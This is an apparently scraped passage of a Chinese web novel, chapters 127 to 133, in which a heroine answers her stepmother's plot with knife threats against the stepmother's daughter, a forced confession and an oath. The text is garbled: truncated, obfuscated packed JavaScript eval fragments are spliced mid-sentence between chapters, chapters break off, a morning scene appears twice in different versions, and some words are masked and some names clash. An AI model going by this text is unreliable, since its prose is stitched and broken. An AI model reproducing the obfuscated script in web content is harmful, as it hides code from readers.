晏玥玥的脸上,渐渐浮现出难以掩饰的得意。 她就知道,自己这么漂亮可爱,人见人爱,花见花开,怎么会有人不喜欢她呢? 夫人待她很好,宋溪溪也开始对她示好了, 看来,征服陆家父子的日子,指日可待! 她晏玥玥,注定是要成为人上人的!晏玥玥的身影消失在转角,手里还紧紧攥着那熏香,步子都轻快了几分,仿佛捡到了什么稀世珍宝。 宋溪溪这才回过头,秀气的眉头微微蹙起,清澈的眼眸中满是不解: “阿清姐姐,你这是演的哪一出啊?干嘛白白便宜了她?” 虽说那熏香,她闻着就觉得刺鼻,一股子廉价脂粉味,熏得她头疼。 可即便如此,她也不想让晏玥玥那个虚伪的女人占了便宜。 晏清澜不紧不慢地收回视线,唇角微微上扬,勾勒出一个意味深长的弧度: “不过是些不值钱的玩意儿,扔了也是碍眼。她既然喜欢,就当是打发叫花子了。” 她语气淡淡的,仿佛只是随手丢弃了一件垃圾,而不是什么价值连城的宝贝。 那迷香,本就是钱雅芝为今日准备的“大礼”。 如今到了晏玥玥手中,倒也算是物归原主,各得其所,省了她不少麻烦。 宋溪溪歪着头,仔细琢磨了一下,觉得晏清澜说的似乎也有几分道理。 只是,一想到晏玥玥那副小人得志、自以为是的模样,她就气不打一处来,忍不住撇了撇嘴,翻了个白眼: “阿清姐姐,你说这晏玥玥,怎么就跟她那个娘一样,一样的让人喜欢不起来。” 一样的脑子不清楚,听不懂人话,还自以为是,浑身上下都透着一股子小家子气,让人看着就心烦。 晏清澜对此不置可否,只是轻轻挑了挑眉,语气平静: “跳梁小丑而已,不必放在心上,平白污了自己的眼睛。” 她微微垂下眼帘,遮住了眸中一闪而过的冷芒,唇边勾起一抹若有似无的笑意,让人捉摸不透。 暮色四合,寺庙内的红墙黄瓦也被镀上了一层昏黄的光晕,平添了几分庄严肃穆。 钱雅芝独自一人站在厢房内,桌上摆着精心准备的斋饭,可她却丝毫没有胃口。 心里七上八下的,总觉得不踏实,像是有什么不好的事情要发生。 也不知道桂柔那边,事情进展得如何了。 “咚、咚、咚。” 沉闷的敲门声突然响起,打破了厢房内的寂静,也打断了钱雅芝的思绪。 她一个激灵,连忙起身,快步走到门边,小心翼翼地打开了房门。 只见一个身穿缁衣、头戴僧帽的尼姑站在门口,面容隐在阴影中,看不真切。 但钱雅芝还是一眼就认出,这人正是易容后的桂柔。 她连忙探头,飞快地扫视了一下四周,确认走廊上空无一人。 这才一把将桂柔拽进屋内,反手“砰”的一声关上了房门,还顺手插上了门闩。 “怎么样?事情办妥了?” 钱雅芝压低声音,急切地问道,语气中带着一丝难以掩饰的焦虑和期待。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她倒不是出不起这点钱,只是打心眼里瞧不上桂柔这副见钱眼开、贪得无厌的嘴脸。 第一百二十七章 “哼,八字还没一撇呢,就先想着要钱?” 她冷哼一声,语气中带着一丝威胁和警告: “我把话撂在这儿,事成之前,你休想再从我这里拿到一文钱!” “不过你放心,只要你把事情办得漂漂亮亮,让我满意了,少不了你的好处!” 桂柔眼中闪过一丝不悦,但很快就被贪婪所取代。 她装作一副市井泼妇的模样,蛮横地打断了钱雅芝的话头: “不成!今儿个要是不给钱,老娘立马就走人,这活儿我不干了!您另请高明吧!” 说着,她手腕一翻,寒光一闪,一把锋利的**便出现在手中。 不等钱雅芝反应过来,冰冷的刀刃就已经抵在了她的脖颈上,只需轻轻一划,就能让她血溅当场。 “你……你这是做什么……” 钱雅芝吓得惊叫一声,险些没站稳,身体不受控制地颤抖起来。 桂柔脸上挂着贪婪而狰狞的笑容,眼神却如同毒蛇一般冰冷: “晏夫人,您可别跟我这儿摆什么高门主母的谱。” “在这汴京城里,我烂命一条,无牵无挂,可不怕你!” “识相的,赶紧把银子交出来,否则,别怪我手下无情!” 钱雅芝只觉得一股寒气从脚底直窜头顶,瞬间传遍了全身,让她如坠冰窟。 她哆嗦着嘴唇,身体止不住地颤抖,想要推开那**,却又不敢轻举妄动。 只能强压下心中的恐惧,结结巴巴地说道: “别……别冲动,有话……有话好好说。我给……我给还不行吗?” “还不就是为了钱,我……我这里有……” 桂柔冷哼一声,这才将**稍稍移开了一些,但依旧保持着警惕。 她一把拽下钱雅芝腰间鼓鼓囊囊的钱袋子,掂了掂重量,脸上露出满意的笑容,这才把**收了起来。 她将钱袋子揣进怀里,还不忘威胁钱雅芝几句: “算你识相!奉劝你别玩什么把戏,老老实实地等着我的好消息。” “要是敢跟我玩阴的,小心我让你吃不了兜着走!” 说完,她得意洋洋地一甩袖子,趾高气扬地离开了,留下钱雅芝一人在原地气得直发抖。 钱雅芝站在原地,脸色一阵青一阵白,胸口剧烈地起伏着,像是有一团火在烧。 这该死的**,竟然敢威胁她! 等她利用完了,看她怎么收拾这个不知天高地厚的贱婢! 她死死地攥紧拳头,指甲深深地嵌入掌心,几乎要掐出血来。 一阵夜风吹过,吹散了她眼底深处压抑着的怨恨和狠毒,只留下无尽的阴冷。 这对狗男女,以为这样就能威胁到她? 真是痴心妄想! 她之所以会选中这对夫妻,可不仅仅是因为他们贪财好色,容易控制。 更重要的是,这对夫妻在汴京城中臭名昭著,平日里作恶多端,早就已经人憎狗厌,是人人喊打的过街老鼠。 就算他们**,压根没人会放在心上,更不会有人为他们出头,甚至还会拍手称快。 她原本还担心计划败露,会惹来麻烦。 现在看来,完全是多虑了! 想到这里,钱雅芝的心情稍微平复了一些。 她深吸一口气,强迫自己冷静下来。 突然,胃里一阵翻江倒海,像是有一只手在里面搅动,让她几欲作呕。 钱雅芝脸色一变,只觉得腹中一阵绞痛,像是有人拿着刀子在里面乱捅。 她顾不上其他,连忙捂着肚子,跌跌撞撞地往床边走去。 “来人……来人啊……” 她虚弱地喊了几声,却发现喉咙干涩,声音嘶哑得几乎听不见。 钱雅芝挣扎着想要起身,却发现浑身无力,连抬手的力气都没有。 她只能瘫软在床上,任由腹中的绞痛一阵紧似一阵,冷汗浸湿了衣衫。 就在这时,房门突然“吱呀”一声开了。 钱雅芝以为是丫鬟进来了,刚要开口呼救,却发现眼前一片黑暗。 一个黑影站在门口,挡住了所有的光线。 钱雅芝刚想开口,就感到脖颈处传来一阵冰凉的刺痛,她惊恐地睁大了眼睛, 不等她看清来人,一把锋利的**,已经抵在了她的喉咙上。“晏夫人,这人,您不会不认识吧?” 桂柔蒙着脸,双手抱在胸前,脚尖轻轻点了点地上那具冰冷的女尸。 声音? 出奇的平静。 钱雅芝却觉得,有一条毒蛇沿着自己的脚踝爬了上来,冰冷的蛇信子舔舐着她的肌肤,令人毛骨悚然。 她控制不住地发起抖来,脸色“唰”地一下变得惨白,血色褪了个干干净净,嘴唇也哆嗦着,一个字都说不出来。 想尖叫。 想呼救。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“晏夫人,你说说看,你设局对付宋溪溪,究竟是为了什么? 第一百二十八章 ” 钱雅芝心头一震。 她知道,晏清澜是在试探她。 “为了……晏玥玥?” 晏清澜挑眉,语气上扬,却更像是一种无声的逼问。 钱雅芝的身体抖得更厉害了。 她怎么敢承认? 一旦承认,晏清澜会不会迁怒玥玥? 不…… 她不能让玥玥有事! “不!不是的!” 钱雅芝疯狂地摇头否认,声音尖锐而急促,像是要把自己的嗓子喊破。 “我只是……我只是嫉妒傅清霁,才会想着对宋溪溪动手!” 她提高了声音,想以此掩盖心虚, “对!我就是嫉妒傅清霁!” 她又强调了一遍,仿佛这样就能让晏清澜相信。 “这事……跟玥玥一点关系都没有!” 钱雅芝一边说,一边死死地盯着晏清澜,眼神里满是祈求和恐惧。 可她闪烁的目光,急促的呼吸,早已出卖了她内心的真实想法。 她在撒谎。 晏清澜当然知道。 可她并没有点破,只是似笑非笑地看着钱雅芝,像是在欣赏一出拙劣的戏码。 桂柔,突然转身就走。 钱雅芝的心,刚稍稍放下了一点点,觉得或许出现了一丝转机。 可下一秒。 她的心,又猛地提到了嗓子眼。 桂柔回来了。 手里提着一个人。 她那掌上明珠,晏玥玥。 晏玥玥双眼紧闭,脸色苍白,软绵绵地被桂柔提在手里,像是昏死过去了,又像是一个破布娃娃。 “玥玥!” 钱雅芝只觉得眼前一黑,差点没站稳,她想伸手去扶,却扑了个空。 她“扑通”一声跪倒在地,膝盖重重地磕在冰冷的地板上,发出沉闷的声响。 疼。 钻心的疼。 可钱雅芝却顾不上疼痛。 她尝试着站起来,双腿却软得像面条,根本使不上力。 桂柔看着她,眼神冰冷,没有一丝温度。 钱雅芝又急又怕,绝望地哭喊: “玥玥……我的玥玥……” 她哭喊着,想要靠近晏玥玥,却被桂柔拦住。 钱雅芝无助地看向晏清澜,声音里带着无尽的哀求,像是被逼到绝境的母兽: “晏清澜,你有什么冲我来!一切都是我自己的决定!” “和玥玥无关!” 她强调着,声音嘶哑得几乎听不清。 “我求求你,放过玥玥!” 她重复着,像是在祈求神明的怜悯。 “她还是个孩子,她什么都不知道啊!” “玥玥是我的命根子,她不能有事啊!” 钱雅芝的声音,一声高过一声,带着无尽的凄凉和绝望。 晏清澜静静地看着她,眼神中没有一丝波动,仿佛钱雅芝的哀求,根本无法触动她分毫。 “钱雅芝,你口口声声说,这事和晏玥玥无关。” 晏清澜缓缓开口,声音冰冷得没有一丝温度, “可你,真的以为我什么都不知道吗?” 她停顿了一下,看着钱雅芝骤然放大的瞳孔,嘴角的弧度愈发冰冷。 “你嫉妒傅清霁,所以要对宋溪溪下手?” 晏清澜的声音里带着一丝嘲讽, “你以为,我会信?” 她走到钱雅芝面前,居高临下地看着她, “我给你最后一次机会。” “告诉我,你真正的目的。” 她一字一顿,每一个字都像是一把重锤,狠狠地砸在钱雅芝的心上。 桂柔将晏玥玥提起来,让她面对着钱雅芝。 冰冷的短刀,缓缓贴上了晏玥玥娇嫩的脸颊。 刀锋闪着寒光,只需轻轻一划,就能让这张美丽的脸蛋,变得血肉模糊。 “不要!” 钱雅芝发出凄厉的尖叫,声音嘶哑得不成样子, “我说!我全部都说!” “求求你,别伤害玥玥!” 她像是一只受伤的野兽,发出绝望的哀嚎。 “她的脸不能有事!她要是毁了容,还怎么嫁人?” 钱雅芝哭喊着,声音里充满了恐惧和绝望, “我宁愿自己死,也不要玥玥有事!” 她几乎要崩溃了,身体剧烈地颤抖着,眼泪鼻涕糊了一脸。 晏清澜看着她,眼中闪过一丝厌恶。 “钱雅芝,你的戏,演够了吗?” 晏清澜的声音,冷得像冰, “机会,我只给你一次。” “说,还是不说?” 她加重了语气,每一个字都像是从牙缝里挤出来的,带着不容置疑的威严。 钱雅芝抬起头,看着晏清澜,眼中充满了恐惧和绝望。 她知道,自己没有退路了。 她颤抖着声音,断断续续地开始讲述: “我……我恨傅清霁……也恨宋溪溪……” “可我更想……让玥玥……登上后位……” “只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱雅芝被晏清澜看得心里发毛。 那眼神,比最冷的寒冰还要冷上几分,仿佛能穿透她的皮肉,直直看到她的骨子里。 第一百二十九章 她忍不住打了个寒颤,双腿一软,差点又跪下去。 可最终,她还是强撑着,硬着头皮开口: “我……我原本也想着,改变计划,只让宋溪溪吃点苦头……” 她一边说,一边偷偷用余光去瞟晏清澜的脸色,话语里带上了几分试探。 见晏清澜没什么反应,她才稍稍松了口气,继续道: “可是,陆家那个丫头,实在是太警觉了……我的人,根本就靠不近她……” “所以……只能冒险按原来的计划行事,这样才能万无一失。” 她咬了咬唇,声音低不可闻,却又带着几分孤注一掷的决绝。 钱雅芝很清楚,成败在此一举。 只要宋溪溪出事,晏清澜必定脱不了干系。 以陆家对宋溪溪的看重,定然不会轻饶晏清澜。 但,她也不会眼睁睁看着晏清澜去送死。 她会在其中斡旋,尽力保全晏清澜。 毕竟,晏清澜还有利用价值。 她要的,不仅仅是晏玥玥登上后位,更要将晏清澜这个女儿,牢牢地捏在手心里。 可如今,晏清澜越来越不听话了。 她就像一匹脱缰的野马,随时可能挣脱她的掌控。 她甚至开始怀疑,多年前道士说的那些话—— 玥玥的命格,会被晏清澜所克。 从前她不信,可现在,她有些动摇了。 钱雅芝的心,一点点往下沉。 她在那两道冷得像冰锥子一样的目光注视下,声音都开始打颤。 可即便如此,她还是强撑着,为自己辩解: “我也是身不由己,可晏清澜她……她实在是太不让人省心了。” “她要是能稍微安分一点,听话一点,我绝不会走这条路……” “而且,是她撺掇着宋溪溪,故意找玥玥的麻烦,我气不过……” 钱雅芝越说越激动,仿佛自己真的是被逼无奈的慈母。 “要不是……” 她还想把所有的过错,都推到晏清澜和宋溪溪身上。 可话没说完,就被打断了。 晏清澜依旧面无表情。 她甚至连眼神,都没有给钱雅芝一个。 只是轻轻抬了抬下巴,示意桂柔。 桂柔立刻会意,上前一步。 她没有半分犹豫,直接扬手,“啪”地一声,给了昏迷中的晏玥玥一个耳光。 这一下,可比之前那两下重多了。 晏玥玥的脸颊,瞬间就肿起了一大块,甚至还渗出了血丝。 “玥玥!” 钱雅芝发出一声凄厉的尖叫,声音都变了调。 她想扑过去,却又不敢。 只能眼睁睁地看着,自己的宝贝女儿,被人这样肆意地欺凌。 晏清澜像是没听到钱雅芝的尖叫,连眉头都没皱一下。 她缓缓开口,声音冷得没有一丝温度: “宋溪溪没打过晏玥玥,这笔账,自然不能算到她头上。” 桂柔的眼神,像淬了毒的刀子,狠狠地剜在钱雅芝身上。 她活动了一下手腕,冷笑道: “既然赵夫人这么‘深明大义’,那这几巴掌,就当是替厉姑娘出口气了。” 说完,她抬手又要打。 “不要!不要打了!” 钱雅芝再也忍不住了,她“扑通”一声跪在地上,连连磕头。 “求求你们,放过玥玥吧,她什么都不知道,她是无辜的……” 她的声音,带着哭腔,充满了绝望和哀求。 晏清澜却无动于衷。 她甚至,还觉得有些好笑。 她把玩着手中的**,冰冷的刀锋,轻轻划过钱雅芝的脸颊。 “无辜?” 晏清澜的声音很轻,却带着一股说不出的嘲讽。 “赵夫人,你是不是忘了,你这个‘无辜’的女儿,是怎么颠倒黑白,指鹿为马的?” 从前看书时,晏清澜就知道晏玥玥不是什么省油的灯。 她看似天真单纯,实则心机深沉,最擅长装无辜,博同情。 原主虽然性子软弱,但也曾真心疼爱过这个妹妹。 可晏玥玥呢? 她表面上跟原主姐妹情深,背地里却没少给原主使绊子。 原主落到最后那个地步,晏玥玥“功不可没”。 只不过,在原书里,晏玥玥一直顺风顺水,谁也奈何不了她。 所以,她才能一直维持着那副天真无邪的模样。 但现在,不一样了。 因为晏清澜的出现,很多事情都偏离了原来的轨迹。 最明显的就是,宋溪溪没死。 这让晏玥玥,感受到了前所未有的危机。 尤其是,当她发现,曾经那个唯唯诺诺,任人欺负的晏清澜, 不仅身体康复,还得到了陆家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冰冷的刀锋,贴着晏玥玥细嫩的肌肤,缓缓游移,像一条吐着信子的毒蛇。 钱雅芝的眼泪瞬间涌了出来,心也提到了嗓子眼,她死死盯着那刀锋,生怕它下一秒就刺破晏玥玥的皮肤。 第一百三十章 “娘……”晏玥玥颤抖着声音,带着哭腔,眼泪在眼眶里打转。 晏清澜欣赏着钱雅芝惊恐欲绝的模样,嘴角的笑意愈发浓烈。 那笑容,落在钱雅芝眼里,比地狱里的恶鬼还要可怖,仿佛下一秒就要择人而噬。 “想救她吗?” 晏清澜的声音很轻,很缓,却像淬了毒的针,刺进钱雅芝的心里,让她浑身发冷。 钱雅芝顾不得害怕,连连点头,泪水混着鼻涕,糊了满脸。 “想……想!我求你,放过她……” 她现在什么都顾不上了,只要能保住晏玥玥的命,让她做什么都行。 晏清澜微微侧头,余光扫过一旁的桂柔。 桂柔立刻会意,从袖中抽出一张麻纸,递到钱雅芝面前。 “只能在这份悔过书上按手印了。”晏清澜的声音,冷得没有一丝温度,“签字画押,我就饶了晏玥玥。” 钱雅芝颤抖着手,接过那张麻纸,展开。 只一眼,她就觉得浑身的血液都凝固了,仿佛被人兜头泼了一盆冰水,从头凉到脚。 麻纸上,密密麻麻的蝇头小楷,写满了罪状。 钱雅芝心虚,一眼就认出那些字迹,和自己账本上的字迹一模一样! 她做贼心虚,坏事做尽,自然对这些事不陌生,只是没想到会被人详细地记录下来。 上面不仅写了她如何戕害良妾、毒杀庶子庶女,还包括了她如何偷换贡品,如何私吞庄家产业的种种细节。 每一条,都清晰得令人发指,简直就是一本活生生的罪证! 钱雅芝甚至能回想起,那些阴暗角落里发生的一切,每一个细节,都如尖刀般刺痛着她的神经,让她无处遁形。 她想否认,想辩解,可喉咙像被什么东西卡住了,发不出半点声音,只能徒劳地张着嘴。 “怎……怎么会……”钱雅芝喃喃自语,身体抖若筛糠,“她怎么会知道……这些……” 她怎么会有自己的账本?! 恐惧如潮水般涌来,将她淹没,几乎要将她溺毙。 她清楚,这张认罪书,万万签不得。 这上面随便挑出一条,都足够让她身败名裂,死无葬身之地! 可不签……晏玥玥怎么办? 看着晏清澜手中闪着寒光的**,钱雅芝的心,一点点沉了下去。 她不能拿晏玥玥的命去赌。 钱雅芝心一横,猛地吸了一口气,用尽全身力气,尖声喊道:“救命——救命啊——” 凄厉的呼救声,划破了寂静的夜空,在空旷的寺庙里回荡。 她一声声地喊着,绝望而无助,声音嘶哑,像是杜鹃啼血。 她寄希望于这声音能惊醒沉睡的寺庙,为自己带来一线生机,哪怕只有一丝希望也好。 然而,回应她的,只有晏清澜和桂柔冰冷的眼神,如寒冰利刃。 那眼神,像在看一个垂死挣扎的笑话,没有一丝温度,只有无尽的嘲弄。 晏清澜嗤笑一声,摇了摇头,仿佛在看一只自不量力的蝼蚁。 “没用的。” 她开口,声音很轻,却清晰地传入钱雅芝耳中,带着无尽的嘲讽。 “钱雅芝,你以为,这是什么地方?” 晏清澜手上微微用力,钱雅芝只觉脖子一紧,呼吸更加困难,脸色也由绛紫转为青白。 “这里,”晏清澜顿了顿,嘴角的笑意更深了,眼中却闪过一丝狠厉,“可是我精心挑选的地方。” 她凑近钱雅芝,声音压得极低,几乎只有她们两人能听见。 “这满寺的香,都是我特意为你准备的‘好东西’,保证他们睡得比猪还死。” “你就是喊破喉咙,也不会有人来救你。” 是你,亲手把刀递到了我的手上,而我,不过是以其人之道,还治其人之身罢了。 晏清澜手中的**,缓缓下移,最终停在了晏玥玥的喉间,那薄薄的刀刃,仿佛下一秒就会割破她脆弱的血管。 只需稍稍用力,晏玥玥便会命丧当场,香消玉殒。 钱雅芝目眦欲裂,再也顾不得其他,嘶吼道:“住手!” 她心如死灰地合上双眸,声音嘶哑得不成样子,像破了的风箱。 “我签……我签还不行吗?” 她的声音里,充满了绝望和妥协,像一只被逼到绝境的困兽。 “求你……放过玥玥……她不能有事……” 钱雅芝心里明白,这份认罪书,意味着什么。 一旦签了,就等于把自己的命,交到了别人手里。 可如果不签,晏玥玥就没命了! 她不能眼睁睁看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的声音很轻,却带着不容置疑的威慑,一字一句,敲打在钱雅芝心上。 第一百三十一章 “你可以继续耍你的小聪明,玩你的阴谋诡计,但如果你再敢把主意打到陆家人身上……” 晏清澜笑容一敛,眼神骤然变得锐利如刀,仿佛能洞穿人心。 “我会让你知道,什么叫生不如死。” 她没有说具体的惩罚,但钱雅芝毫不怀疑,晏清澜绝对说到做到。 她松开手,用刀尖轻轻地,一下一下,划过钱雅芝的脸颊,力道很轻,却足以让她心惊胆战。 冰凉的触感,让钱雅芝汗**倒竖,浑身起了一层鸡皮疙瘩。 她感觉,像有一条冰冷的毒蛇,在自己脸上缓缓爬行,随时可能给她致命一击。 当**划过鼻尖时,钱雅芝闻到了一股淡淡的血腥气,这气味很淡,却真实存在。 她毫不怀疑,这把**,不久前一定见过血,说不定还杀过人! 钱雅芝吓得魂飞魄散,眼泪止不住地往下流,再也不敢与晏清澜对视,只敢低着头,瑟瑟发抖。 晏清澜看着她这副模样,嘴角的笑意更深了。 她知道,钱雅芝已经彻底被自己震慑住了。 但她并没有就此罢休。 因为她知道,像钱雅芝这种人,不给她点颜色看看,她是不会长记性的。 “还有,”晏清澜的声音再次响起,冰冷而残酷,“从今天起,陆家的人,哪怕是掉了一根头发,这笔账我记你身上。” “你最好祈祷他们平安无事,否则……” 她没有再说下去,但威胁的意味,已经不言而喻。 钱雅芝眼前一黑,差点晕过去,只觉得一股寒气从脚底直窜头顶。 她听明白了,这分明是赤裸裸的威胁! 这个疯女人,不仅要让她对宋溪溪敬而远之,还要让她反过来保护宋溪溪! 这简直是……欺人太甚! 钱雅芝又惊又怒,又气又怕,浑身颤抖着,却不敢发作,只能强忍着怒火,咬牙切齿地争辩: “你……你讲点道理好不好?” “我保证……再也不敢……不敢算计宋溪溪……” 她的声音,带着哭腔,充满了委屈和不甘。 “可别人……别人要是害她……跟我有什么关系……凭什么……算我头上?” 她觉得,自己已经够倒霉了,凭什么还要替别人背黑锅? 这话说得,似乎也有几分道理,至少在钱雅芝看来,是这样的。 晏清澜却无所谓地耸了耸肩,一脸的“与我无关”。 “那是你的事。” 她轻描淡写地说道,仿佛钱雅芝的死活,跟她没有半点关系。“我给你机会,但你最好别在我面前耍花样。” 晏清澜的声音很轻,像一片羽毛似的。 但落在钱雅芝耳中,却如冰锥般刺骨。 她每说一个字,钱雅芝的心就往下沉一分。 晏清澜手一松,钱雅芝便像失去了所有力气,瘫软在地,发出“咚”的一声闷响。 她感觉自己像一只被猎人盯上的羔羊,随时都会被开膛破肚。 而面前这个居高临下的女子,就是那个冷酷无情的猎人。 只需一个念头,她就会命丧当场。 钱雅芝惊恐地瞪大了眼睛,瞳孔中倒映出晏清澜那张面无表情的脸。 她又转头,看向脸颊红肿的女儿。 心疼、不甘、恐惧……种种情绪在钱雅芝心中翻涌。 她死死咬住下唇,几乎要咬出血来。 最终,所有的情绪都化作了**的妥协。 “我答应……我都答应……” 钱雅芝的声音,像是从喉咙深处挤出来的,带着一丝绝望的颤抖。 她挣扎着想要起身,双腿却像灌了铅一样沉重,试了几次,都徒劳无功。 晏清澜微微俯身,视线与她平齐,语气依旧平淡: “记住,这是你自己的选择。” 钱雅芝一怔,随即明白了她的意思。 她这是要自己亲口立誓,将所有的退路都堵死。 罢了罢了,人在屋檐下,不得不低头。 钱雅芝闭了闭眼,再睁开时,眼中已是一片死寂。 “我,钱雅芝,”她一字一顿,声音嘶哑得像砂纸摩擦,“在此对天起誓……” 她顿了顿,仿佛下了极大的决心: “今生今世,绝不再对宋溪溪起任何歹念,若违此誓……” 钱雅芝的声音越来越低,几乎微不可闻: “…让我…不得好死。” 说完,她仿佛被抽走了所有的精气神,整个人都萎靡了下去。 晏清澜静静地看着她,眼神中看不出喜怒。 这时代的人,对誓言、报应之类的说法,总是深信不疑。 可惜,晏清澜见多了背信弃义之人,早已不信这套。 她随手拿起桌上的茶盏,轻轻一抛,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百三十二章 ” 傅清霁见她不肯说,也不再追问,只是叮嘱道: “凡事小心,别太勉强自己。” “嗯。”晏清澜乖巧地点了点头。 母女二人又说了一会儿话,傅清霁才离开。 晏清澜望着母亲的背影,眼神逐渐变得坚定。 她知道,自己要走的路还很长,但她绝不会退缩。 为了自己,也为了身边重要的人。 …… 次日一早,晏玥玥是被脸上的剧痛疼醒的。 她睁开眼,只觉得脸上火烧火燎的,伸手一摸,更是疼得倒吸一口凉气。 “来人!来人啊!”她尖声叫道。 守在外间的丫鬟听到动静,连忙跑了进来。 “姑娘,您怎么了?”丫鬟见她捂着脸,一脸痛苦,连忙问道。 晏玥玥一把抓住她的手,声音颤抖: “快!快去请大夫!我的脸……我的脸好疼!” 丫鬟这才注意到,晏玥玥的脸颊红肿得吓人,像是被人狠狠打了一巴掌。 “这……这是怎么回事?”丫鬟吓了一跳。 “我怎么知道!”晏玥玥气急败坏地吼道。 “还不快去请大夫!” 丫鬟不敢再耽搁,连忙跑了出去。 不多时,大夫便被请了过来。 一番诊治之后,大夫的脸色有些凝重。 “姑娘这是……过敏了?”他迟疑着问道。 “过敏?”晏玥玥愣住了。 “我怎么会过敏?我以前从来没有过敏过!” 大夫也觉得奇怪,按理说,过敏不会只肿一边脸。 但除了过敏,他也想不出其他可能了。 “姑娘最近可有吃过什么特别的东西,或者接触过什么花草?”大夫问道。 晏玥玥仔细回忆了一下,却什么也想不起来。 她平日里吃的用的,都是府里统一供应的,并没有什么特别的。 至于花草,她更是不常接触。 “没有,什么都没有!”晏玥玥烦躁地说道。 大夫见问不出什么,只得开了些清热解毒的药,让她先吃着看看。 晏玥玥捧着药碗,心中一片茫然。 她不知道自己的脸是怎么回事,更不知道该如何是好。 而此时的钱雅芝,正坐在自己的房中,神情恍惚。 昨夜的经历,对她来说,无异于一场噩梦。 她到现在都还不敢相信,自己竟然会对晏清澜低头,甚至还发下了那样的毒誓。 每每想起,她都觉得心惊肉跳,寝食难安。 “夫人,夫人!” 丫鬟急促的呼唤声,将她从沉思中惊醒。 “什么事?”钱雅芝没好气地问道。 “姑娘……姑娘的脸肿了,请您过去看看!”丫鬟气喘吁吁地说道。 “什么?!”钱雅芝猛地站起身,快步向外走去。钱雅芝一夜未眠,眼圈发黑,血丝密布。昨夜的经历,像一幕幕光怪陆离的戏剧,在她脑海中疯狂闪回。 那究竟是荒诞不经的噩梦,还是……鲜血淋漓的现实? 她不敢深想,连呼吸都变得小心翼翼,生怕惊扰了什么。 “夫人,夫人!”贴身丫鬟采薇的惊叫声,撕裂了清晨的死寂,将她从浑浑噩噩中猛地拽回。 钱雅芝猛地坐起,却因起得太急,一阵天旋地转,她下意识地扶住黄花梨的床柱,才勉强稳住。 “出什么事了?”钱雅芝极力稳住心神,声音却仍旧嘶哑。 采薇急得直跺脚,脸色煞白,手指颤抖着指向晏玥玥的厢房:“姑娘……姑娘的脸肿得老高,像是……像是被人打了一样!” 钱雅芝心口一窒,某种可怕的预感如毒蛇般噬咬着她的心脏。 她猛地掀开锦被,也顾不上穿鞋,赤着脚踩在冰凉的青石地板上,跌跌撞撞地朝晏玥玥的房间冲去。 还未进门,压抑的哭声便已清晰可闻,一声声,如泣如诉,钻心刺骨。 钱雅芝的心,像被一只无形的手狠狠攥住,几乎要窒息。 她踉跄着冲进厢房,一眼便看到晏玥玥蜷缩在床角,双手死死捂住脸,单薄的肩膀剧烈颤抖。 原本白皙如玉的脸颊,此刻红肿不堪,高高隆起,扭曲变形,那触目惊心的红痕…… “娘……”晏玥玥听到动静,猛地抬头,泪眼婆娑地望向钱雅芝。 看清来人,她再也抑制不住内心的恐惧,“哇”的一声哭了出来,声音嘶哑得不成样子。 “我的脸……我的脸是不是毁了?!”她跌跌撞撞地扑进钱雅芝怀里,死死抓住她的衣袖,像是抓住最后一根救命稻草,带着浓浓的哭腔和绝望。 钱雅芝只觉一阵天旋地转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平日里,钱雅芝最是疼爱这个女儿,视若掌上明珠,几乎是含在嘴里怕化了,捧在手里怕摔了,哪里舍得这般疾言厉色。 第一百三十三章 可今天……晏玥玥心中虽然疑惑,却也不敢再多言,乖乖地任由钱雅芝拉着,一路小跑。 刚出寺门,钱雅芝便一眼看到自家那辆熟悉的马车,正停在路边。 她几乎是连滚带爬地将晏玥玥塞进马车,自己也紧跟着钻了进去。 “快!快走!”她催促车夫,声音中带着难以抑制的颤抖。 “吁——” 车夫猛地一拉缰绳,马儿却嘶鸣一声,前蹄高高扬起,硬生生停在了原地。 马车剧烈颠簸,险些将钱雅芝和晏玥玥掀翻在地。 